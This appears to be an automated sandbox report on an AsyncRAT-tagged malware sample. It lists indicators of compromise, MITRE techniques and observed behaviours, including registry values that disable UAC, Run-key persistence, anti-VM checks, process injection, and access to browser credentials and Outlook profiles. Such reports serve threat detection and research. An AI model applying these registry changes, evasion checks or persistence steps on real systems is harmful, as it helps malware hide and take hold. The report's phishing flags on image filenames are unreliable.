asyncrat | cf99eaaa334a9c8ffc2fe0e1068ffcc02dda1dd8b2b0eab2821182c5d2c1f51d

Processes:

reg.exereg.exereg.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	reg.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm
ZharkBot
ZharkBot is a botnet written C++.
botnet zharkbot
Zharkbot family
zharkbot
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Async RAT payload 2 IoCs

rat

Processes:

resource	yara_rule
behavioral1/files/0x000400000000ef7a-2464.dat	family_asyncrat
behavioral1/files/0x001900000002ad5c-7730.dat	family_asyncrat

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

Query Registry

Virtualization/Sandbox Evasion

Processes:

Client_protected.exerandom.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Client_protected.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	random.exe

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow	pid	Process
129	2392	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.EXEpowershell.exepowershell.exepowershell.exe

pid	Process
5072	powershell.exe
3532	powershell.exe
5356	powershell.EXE
6644	powershell.exe
2116	powershell.exe
2392	powershell.exe

Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 2 IoCs

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

Processes:

netsh.exenetsh.exe

pid	Process
1564	netsh.exe
6288	netsh.exe

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

Hidden Files and Directories

T1564.001

Processes:

attrib.exe

pid	Process
3048	attrib.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
A potential corporate email address has been identified in the URL: abistal_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: anna_is_back_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: bellaanderson_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: bonnbonnet_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: britanyroa_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: ciararose_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: cum_inmyass_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: danamorgan_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: deliciousdeea_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: emamonroe_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: emma_shy_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: giannacoll_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: good_girl_kate_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: grettabrown_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: hilaryrhodes_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: [email protected]
phishing
A potential corporate email address has been identified in the URL: honmary_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: isabelacarter_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: isabellaeva_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: janetstone_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: julietawolff_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: karlarati_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: kendallsmiith_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: kendhalllee_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: khlo_velbet_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: lauranoa_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: lexykeen_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: liacathaleya_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: liliyamoon_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: lilly_tyler_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: louisechane_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: luck4u_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: margaritakis_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: mianeilld_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: miragrace_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: mssweet_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: raiissalambert_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: ranyah_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: samimiller_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: sarad_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: scarletferer_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: serenamoll_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: tamarafuentes_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: tammy_ashley_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: tiffanycardi_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: tinnyfoxxy_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: vanessaxxx_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: victoriafoxs_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: violetgiles_640.gif@webp
phishing
A potential corporate email address has been identified in the URL: yviesweet_640.gif@webp
phishing

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

Client_protected.exerandom.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Client_protected.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Client_protected.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	random.exe

Drops startup file 2 IoCs

Processes:

Runtime Broker.exe

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\603620ea0fe398ac1d9cd08d637e8563.exe	Runtime Broker.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\603620ea0fe398ac1d9cd08d637e8563.exe	Runtime Broker.exe

Executes dropped EXE 64 IoCs

Processes:

RedSystem.exetest_again2.exesvhosts.exeOneDrive.exec3.exeBluescreen.exewnxddd.exetdrpl.exesysnldcvmr.exexrmcsj.exeOneDrive.exeUpdater.vbs.exe1109125257.exe2031716674.exeGoodFrag.exenjSilent.exekiyan.exesvchost.exeClient.exe2066210983.exe182506255.exesvchost.exeOneDrive.exeRuntime Broker.exewinupsecvmgr.exe786127328.exe3285315584.exe1172211728.exewinbox.exeClient_protected.exex.exeOneDrive.exetwztl.execluton.execluton.exepornhub_downloader.exePORNHU~1.EXEew.exes.exeCompleteStudio.exeCbmefxrmnv.exeOneDrive.exezts.exegvndxfghs.exegvndxfghs.exegvndxfghs.exegvndxfghs.exektyhpldea.exenewtpp.exeZinTask.exeKB824105-x86-ENU.exeNoEscape.exeCbmefxrmnv.exeNework.exeHkbsse.exeHkbsse.exeOneDrive.exetest10-29.exem.exePapercut.Smtp.Setup.exePapercut.Smtp.Setup.exeGuide2018.exeT3.exerandom.exe

pid	Process
432	RedSystem.exe
2876	test_again2.exe
664	svhosts.exe
2204	OneDrive.exe
2808	c3.exe
4624	Bluescreen.exe
2232	wnxddd.exe
3076	tdrpl.exe
3160	sysnldcvmr.exe
4948	xrmcsj.exe
3140	OneDrive.exe
1108	Updater.vbs.exe
1708	1109125257.exe
908	2031716674.exe
4304	GoodFrag.exe
3592	njSilent.exe
236	kiyan.exe
1656	svchost.exe
3996	Client.exe
4744	2066210983.exe
3556	182506255.exe
3932	svchost.exe
3640	OneDrive.exe
464	Runtime Broker.exe
4412	winupsecvmgr.exe
1908	786127328.exe
1728	3285315584.exe
4968	1172211728.exe
1680	winbox.exe
4760	Client_protected.exe
4848	x.exe
5052	OneDrive.exe
1144	twztl.exe
2532	cluton.exe
2412	cluton.exe
1872	pornhub_downloader.exe
2160	PORNHU~1.EXE
440	ew.exe
4552	s.exe
1556	CompleteStudio.exe
3112	Cbmefxrmnv.exe
4532	OneDrive.exe
5612	zts.exe
6172	gvndxfghs.exe
6356	gvndxfghs.exe
6440	gvndxfghs.exe
6200	gvndxfghs.exe
6364	ktyhpldea.exe
6468	newtpp.exe
6544	ZinTask.exe
6756	KB824105-x86-ENU.exe
6896	NoEscape.exe
6584	Cbmefxrmnv.exe
3376	Nework.exe
5244	Hkbsse.exe
5156	Hkbsse.exe
5988	OneDrive.exe
7136	test10-29.exe
6068	m.exe
5092	Papercut.Smtp.Setup.exe
5580	Papercut.Smtp.Setup.exe
4104	Guide2018.exe
2484	T3.exe
5440	random.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

Query Registry

Virtualization/Sandbox Evasion

Processes:

random.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000\Software\Wine	random.exe

Loads dropped DLL 2 IoCs

Processes:

cluton.exePapercut.Smtp.Setup.exe

pid	Process
2532	cluton.exe
5580	Papercut.Smtp.Setup.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral1/files/0x001c00000002ab0e-2634.dat	themida
behavioral1/memory/4760-2642-0x0000000000BF0000-0x000000000127E000-memory.dmp	themida
behavioral1/memory/4760-2643-0x0000000000BF0000-0x000000000127E000-memory.dmp	themida
behavioral1/memory/4760-2652-0x0000000000BF0000-0x000000000127E000-memory.dmp	themida

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

cluton.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	cluton.exe
Key opened	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	cluton.exe
Key opened	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	cluton.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

Processes:

Runtime Broker.exeCbmefxrmnv.exeOneDrive.exewnxddd.exetdrpl.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000\Software\Microsoft\Windows\CurrentVersion\Run\603620ea0fe398ac1d9cd08d637e8563 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Runtime Broker.exe\" .."	Runtime Broker.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\603620ea0fe398ac1d9cd08d637e8563 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Runtime Broker.exe\" .."	Runtime Broker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000\Software\Microsoft\Windows\CurrentVersion\Run\VolumeInfo = "C:\\Users\\Admin\\AppData\\Roaming\\VolumeInfo.exe"	Cbmefxrmnv.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000\Software\Microsoft\Windows\CurrentVersion\Run\OneDrive = "C:\\Users\\Admin\\documents\\OneDrive.exe"	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000\Software\Microsoft\Windows\CurrentVersion\Run\OneDrive = "C:\\Users\\Admin\\AppData\\Roaming\\OneDrive.exe"	wnxddd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysnldcvmr.exe"	tdrpl.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

Processes:

Client_protected.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Client_protected.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

defense_evasion privilege_escalation

Processes:

tstory.exe

description	ioc	Process
File opened (read-only)	\??\H:	tstory.exe
File opened (read-only)	\??\J:	tstory.exe
File opened (read-only)	\??\N:	tstory.exe
File opened (read-only)	\??\R:	tstory.exe
File opened (read-only)	\??\S:	tstory.exe
File opened (read-only)	\??\B:	tstory.exe
File opened (read-only)	\??\E:	tstory.exe
File opened (read-only)	\??\G:	tstory.exe
File opened (read-only)	\??\X:	tstory.exe
File opened (read-only)	\??\Z:	tstory.exe
File opened (read-only)	\??\U:	tstory.exe
File opened (read-only)	\??\V:	tstory.exe
File opened (read-only)	\??\W:	tstory.exe
File opened (read-only)	\??\P:	tstory.exe
File opened (read-only)	\??\Q:	tstory.exe
File opened (read-only)	\??\T:	tstory.exe
File opened (read-only)	\??\K:	tstory.exe
File opened (read-only)	\??\L:	tstory.exe
File opened (read-only)	\??\M:	tstory.exe
File opened (read-only)	\??\I:	tstory.exe
File opened (read-only)	\??\O:	tstory.exe
File opened (read-only)	\??\A:	tstory.exe
File opened (read-only)	\??\Y:	tstory.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

Processes:

flow	ioc
1	raw.githubusercontent.com
44	raw.githubusercontent.com
201	raw.githubusercontent.com
364	raw.githubusercontent.com
406	raw.githubusercontent.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Power Settings 1 TTPs 4 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

Processes:

powercfg.exepowercfg.exepowercfg.exepowercfg.exe

pid	Process
7072	powercfg.exe
6380	powercfg.exe
6176	powercfg.exe
5516	powercfg.exe

Drops file in System32 directory 3 IoCs

Processes:

h5a71wdy.exepowershell.EXE

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	h5a71wdy.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

Client_protected.exektyhpldea.exerandom.exe

pid	Process
4760	Client_protected.exe
6364	ktyhpldea.exe
5440	random.exe

Suspicious use of SetThreadContext 13 IoCs

Processes:

svhosts.exeUpdater.vbs.exewinupsecvmgr.execluton.exeCompleteStudio.exegvndxfghs.exeCbmefxrmnv.exeh5a71wdy.exepowershell.EXET3.exe

description	pid	Process	procid_target
PID 664 set thread context of 336	664	svhosts.exe	82
PID 1108 set thread context of 1200	1108	Updater.vbs.exe	130
PID 4412 set thread context of 4064	4412	winupsecvmgr.exe	146
PID 4412 set thread context of 1492	4412	winupsecvmgr.exe	147
PID 2532 set thread context of 2412	2532	cluton.exe	158
PID 1556 set thread context of 5580	1556	CompleteStudio.exe	195
PID 6172 set thread context of 6356	6172	gvndxfghs.exe	200
PID 6172 set thread context of 6440	6172	gvndxfghs.exe	201
PID 6172 set thread context of 6200	6172	gvndxfghs.exe	202
PID 3112 set thread context of 6584	3112	Cbmefxrmnv.exe	215
PID 5816 set thread context of 6120	5816	h5a71wdy.exe	258
PID 5356 set thread context of 5892	5356	powershell.EXE	264
PID 2484 set thread context of 3696	2484	T3.exe	274

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/files/0x001900000002ab0d-2623.dat	upx
behavioral1/memory/1680-2627-0x0000000000400000-0x0000000000422000-memory.dmp	upx
behavioral1/memory/1680-2647-0x0000000000400000-0x0000000000422000-memory.dmp	upx

Drops file in Windows directory 5 IoCs

Processes:

svchost.exeClient.exeNework.exetdrpl.exe

description	ioc	Process
File created	C:\Windows\Client.exe	svchost.exe
File created	C:\WIndows\svchost.exe	Client.exe
File created	C:\Windows\Tasks\Hkbsse.job	Nework.exe
File created	C:\Windows\sysnldcvmr.exe	tdrpl.exe
File opened for modification	C:\Windows\sysnldcvmr.exe	tdrpl.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid	Process
6088	sc.exe
3684	sc.exe
6800	sc.exe
6780	sc.exe
3224	sc.exe

Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs

Create Process with Token

T1134.002

Processes:

mshta.exe

pid	Process
3612	mshta.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exe

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Program crash 8 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	Process	procid_target
4848	432	WerFault.exe	78
4104	432	WerFault.exe	78
2568	4760	WerFault.exe	151
6128	5612	WerFault.exe	196
6296	6440	WerFault.exe	201
6636	6544	WerFault.exe	207
6412	3536	WerFault.exe	287
6420	6372	WerFault.exe	294

System Location Discovery: System Language Discovery 1 TTPs 48 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.exetwztl.exePORNHU~1.EXENework.exeInstallSetup.exe4363463463464363463463463.exeRedSystem.exenjSilent.exesvchost.exex.exerandom.exesvhosts.exetdrpl.exe2031716674.exePapercut.Smtp.Setup.exeGuide2018.exeRuntime Broker.exe1172211728.exewinbox.exeZinTask.exem.exesvchost.exekiyan.exes.exegvndxfghs.execmd.exenet.exeHkbsse.exePapercut.Smtp.Setup.exesysnldcvmr.exeRegAsm.exenewtpp.exeNoEscape.exe182506255.exeew.exektyhpldea.exepornhub_downloader.exeCbmefxrmnv.exeKB824105-x86-ENU.exedsd.exenetsh.exe3285315584.execluton.exeClient_protected.exezts.exeRegAsm.exeGoodFrag.exe786127328.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	twztl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PORNHU~1.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Nework.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RedSystem.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	njSilent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	x.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svhosts.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tdrpl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2031716674.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Papercut.Smtp.Setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Guide2018.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Runtime Broker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1172211728.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winbox.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ZinTask.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	m.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kiyan.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	s.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gvndxfghs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Hkbsse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Papercut.Smtp.Setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysnldcvmr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	newtpp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NoEscape.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	182506255.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ktyhpldea.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pornhub_downloader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Cbmefxrmnv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	KB824105-x86-ENU.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dsd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3285315584.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cluton.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Client_protected.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zts.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GoodFrag.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	786127328.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

Processes:

cmd.exenetsh.exe

pid	Process
540	cmd.exe
7064	netsh.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

Processes:

netsh.exe

pid	Process
1564	netsh.exe

NSIS installer 2 IoCs

installer

Processes:

resource	yara_rule
behavioral1/files/0x001b00000002ab1c-2707.dat	nsis_installer_1
behavioral1/files/0x001b00000002ab1c-2707.dat	nsis_installer_2

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

wmiprvse.exeGuide2018.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	Guide2018.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Guide2018.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe

Delays execution with timeout.exe 2 IoCs

Processes:

timeout.exetimeout.exe

pid	Process
4968	timeout.exe
3252	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

Processes:

msedge.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 58 IoCs

Processes:

powershell.EXEOfficeClickToRun.exesvchost.exespoolsv.exe

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\72-45-41-80-d4-fb	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
